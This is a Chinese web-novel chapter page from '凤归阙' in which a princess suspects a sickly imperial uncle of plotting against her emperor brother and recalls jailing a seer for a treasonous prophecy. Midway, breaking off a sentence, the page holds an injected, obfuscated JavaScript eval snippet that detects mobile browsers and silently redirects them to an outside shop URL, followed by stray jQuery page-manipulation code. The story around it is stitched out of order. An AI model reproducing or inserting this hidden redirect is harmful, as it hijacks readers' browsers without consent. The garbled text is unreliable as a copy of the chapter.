文趣网 > 其他小说 > 凤归阙 > 133. 病弱皇叔
    皇叔正依靠在太师椅上,几乎形销骨立,若非还有一层皮在,就跟骷髅没什么区别了。

    话都没说几句,他便连连咳嗽,咳到佝偻着背,几乎蜷缩着,仿佛下一刻就会死去。

    往旁边一看,还有几个一脸担忧的太医。

    对这位皇叔来说,身边跟着几个太医,都是惯例。

    江稚鱼看得真切,这皇叔色浮无泽,枯槁外露,实乃命不久矣之兆。

    许是她来得太晚,没听到什么重要事儿,只听见两人在互相说些关心的话。

    她的眼神在两人之间来回流转,心中总有一股怪异之感。

    不知是不是身体原因,这皇叔看向她大哥的眼神是阴恻恻的,很不怀好意的样子。

    江稚鱼皱起眉,对这个皇叔多添了几分防备。

    “咔。”皇叔猛地转过头,脖子发出不堪重负的声响。

    他看到的,一扇晃动着的窗户,并未旁人。

    旁边的太医尖叫起来,赶忙走上前来,“殿下,你要小心点啊,可不能有这么剧烈的动作!”

    一个太医查看皇叔的脖子,一个太医查看皇叔的头部,一个太医查看皇叔的躯干。

    不妙的是,用的力太大,脖子暂时转不回去了。

    得要专门正骨之人来帮助皇叔的脖子回归原位,力气太大或是太小都不行。

    若是强行扭动,轻则骨头再次错位,重则全身骨头具断。

    没办法,皇叔的身体就是这么脆弱。

    姜珩意只好让太医带着皇叔去太医院,而且这几日可以暂且留在皇宫。

    皇叔一行人急匆匆地走掉,就像他今早入宫那般突然。

    “妹妹,出来吧。”姜珩意的目光落在侧殿,朗声道。

    “咔哒。”侧殿的门打开了。

    “大哥。”江稚鱼走上前,拱手一拜。

    “刚才皇叔应是发现你在这儿,才忽然转头,却没想到竟然把头扭了。”姜珩意从座位上起身,拉着江稚鱼在一旁坐下。

    在提起皇叔时,他有的无奈与憋笑。

    江稚鱼看着大哥,光看这一双眼睛,倒是看不出什么。

    她迟疑再三,还是说道:“大哥,皇叔给我的感觉很怪,我总觉得他会伤害你。”

    “我们果然是亲兄妹,我也感觉到了。”姜珩意一挑眉,哈哈大笑起来。

    即使并未从小相伴,但意外的很有心灵感应。

    就像是一人突然出事,其同胞姊妹会感到心慌。

    见江稚鱼有点疑惑,姜珩意继续说道:“在我继位后,也没见过他,只派人去给他送补品。”

    “而今日,他却突然入宫,一边说我应该善待异族,一边又说蛊虫之事肯定是那云侗族的峒主干的。”

    姜珩意摊开手,用灵动的手势来代替自己的表情,可以说是挺活灵活现的。

    “紧接着,他说着说着就说到父皇与他的情谊,还想趁机离我近些。”

    情谊?若说真情真意切,那也是她父皇与他的胞弟。

    跟这个病怏怏的皇叔,可以说是八竿子打不着关系。

    她父皇也只是看着她皇叔同为皇子,还病怏怏的,一直用药材吊着命而已。

    江稚鱼微眯了眯眼,对皇叔所说的情谊表示强烈怀疑。

    而后面的行为,那可真是有很大的想害人的嫌疑啊。

    毕竟皇叔身体不好,看起来没威胁性,容易让人掉以轻心。

    “大哥,我给你把一下脉。”江稚鱼伸出手,朝着姜珩意招了招手。

    先看看,别中招了。

    姜珩意露出手腕,放在江稚鱼面前。

    看着那有着斑驳伤痕的手腕,江稚鱼又在心中骂了那叛贼一遍。

    她的手落在手腕上,不再说话,静静诊脉。

    和之前一样,身体很差,但没有异样。

    “等会儿我派人给你送几个药包来,放在浴桶中,泡一柱香时间,以防蛊虫。”江稚鱼收回手,说出自己的打算。

    若是那皇叔趁大哥不备,将蛊虫送入大哥体内,又是潜伏时间长的蛊虫,一时诊不出来也是有可能的。

    “虽说混着药粉的水把邺城内外淋了个遍,但还是小心为上。”

    “好,我就听妹妹的。”姜珩意点点头,眼里满是笑意。

    “而且,我会派人看着皇叔的,不会给他害我的机会。”

    姜珩意眨了眨眼,想要江稚鱼放宽心。

    虽然不知道皇叔为何会表现得如此怪异,但反正他早做准备,在皇叔身边和在王府内外都安插了人。

    若皇叔真有什么对他不好的打算,他也能把皇叔困在王府里,让其寸步难行。

    “就算他在皇宫里,我也不会让他能见到除我之外的其他人。”想起刚才他还让皇叔留在宫里,姜珩意补充道。

    当然,这个其他人,是指所有不该让他看见的人。

    “对了,你来这儿,可是要紧事?”姜珩意想起今日的妹妹是急匆匆赶来的,只是因为皇叔在,才迟迟没有与他见面。

    之前都是提前打了招呼的,今日却不同,想来是件要紧事。

    他俩光顾着说皇叔了,倒让妹妹忘记自己的事儿。

    姜珩意嘴角勾起,在心中闷笑了一下。

    姜珩意的主动提醒,让江稚鱼想起自己来这儿的原因。

    她将司岚来她那儿后发生的事情,每一句话都给大哥说了个清清楚楚明明白白。

    在说及那句大逆不道之语时,江稚鱼眉眼间的怒气未消。

    江稚鱼话说完,屋子里倒静得很。

    原本直起身体的姜珩意忽的勾下身体,手臂搭在桌上,手握住桌角。

    “大哥,怎么了?”以为皇叔真把大哥给害到的江稚鱼刷的一下站起身,面露急切,就要去给大哥把脉。

    姜珩意摆了摆手,表示没事儿,但身体有点微微颤抖。

    刚才还好好的,怎么现在就成这副样子了。

    这也太怪了,大哥该不会是被毒傻了吧?

    打算强行为大哥把脉的江稚鱼正握住大哥的手臂,却听见一阵笑声。

    “哈哈哈!”

    原本这笑声还挺小的,但慢慢的越来越大声。

    而且这声音是大哥的,从大哥埋着的脑袋底下传上来。

    坏了坏了,大哥真傻了。

    该死的皇叔,突然来这么一次,把她大哥害成这样!

    “神女大人。”

    司岚正欲开口,却被江稚鱼的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702367|208049||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个眼神逼得咽下这四个字。

    陛下已经下了圣旨,不许任何人提起“神女大人”。

    若她再说,等待她的也许就不只是留在邺城。

    “昭华公主,它只是暂时停留在青澜族。”司岚看着江稚鱼,神色平静,“当您出现时,它便会来到你的身边。”

    “它是属于您的,不会再回到青澜族。”

    “这也是你看到的?”江稚鱼并未揪着鹞鹰这事不放,而是另起话题。

    青澜族的司岚据说有预言之能,“神女降临”之言也是从司岚那儿传出来的。

    她有些好奇,这司岚会预言哪些东西?是会等待着预言的实现,还是会在预言应验之前做些什么。

    “那么,你还看到了什么?”江稚鱼看着司岚那满是皱纹的脸,这人带着些许灰败之气,已是命不久矣。

    “殿下,这天下会是您的。”司岚兀地出声,说出大逆不道之语。

    “你青澜族是想灭族吗?你怎敢说出这种话?”江稚鱼冷下脸,手啪的一下落在桌上,发出清脆的响声。

    这般谋逆之语倒也说得出口!

    殿内顿时陷入一片寂静之中,宫女太监都不敢发出半点声音。

    “陛下心善,并未惩处于你,而你不仅执迷不悟,还敢得寸进尺!”江稚鱼拧着眉,看着司岚一副死不悔改的样子,心中的怒气更甚。

    先前用“神女”造势,现在又说出这般话来蛊惑于她。

    若司岚真的能看得到一切,那能看到青澜族被其他两族围攻,能看到蛊虫肆掠吗?

    如果看得到,却任由这一切发生,那对其他人来说,只不过是个笑话罢了。

    “来人!将此人与鹞鹰一同关押起来,不许任何人探望。”江稚鱼抬起手,高声道。

    门外的侍卫立刻进门来,将两者捆缚住。

    鹞鹰想叫,嘴却被缠住。

    江稚鱼不愿去看它,它是司岚身边的鹞鹰,若真让它留在自己身边,和在身边放了个细作没区别。

    而且,它本来就不应该在这儿。

    旁边的司岚没反抗,却在被堵住嘴时,喉咙间喊了一句,但破布已经塞了进去,什么都听不见。

    许是知道自己再也做不了什么,司岚无力地垂下头,像是没了精气神。

    但这,可不会让江稚鱼心软。

    她从不愿做什么“神女”,她只想做一个医女。

    而这司岚,却随随便便就说出这些话,再躲在背后装老神在在的渔翁。

    她可不会让其如愿。

    收拾完一人一鸟后,江稚鱼便急匆匆地赶往大哥所在的殿中。

    却正好碰上皇叔来找皇帝,她便从侧殿进入,等着皇叔离开。

    说是皇叔,江稚鱼却从未见过他。

    她大哥曾跟她提起过这位皇叔,他从出生起便先天不足,身形瘦小,流水般的药材吊着他的命。

    而他是也是除了她一家四口人之外唯一一个躲开那叛贼的屠杀的皇室成员。

    许是因为他一直要死不活的,不太起眼,就连那叛贼要杀人时都忘了他。

    忽然,一阵突起的微风,悄然吹开一丝缝隙。

    她正巧透过那缝隙往里瞧,正正好看见那位皇叔。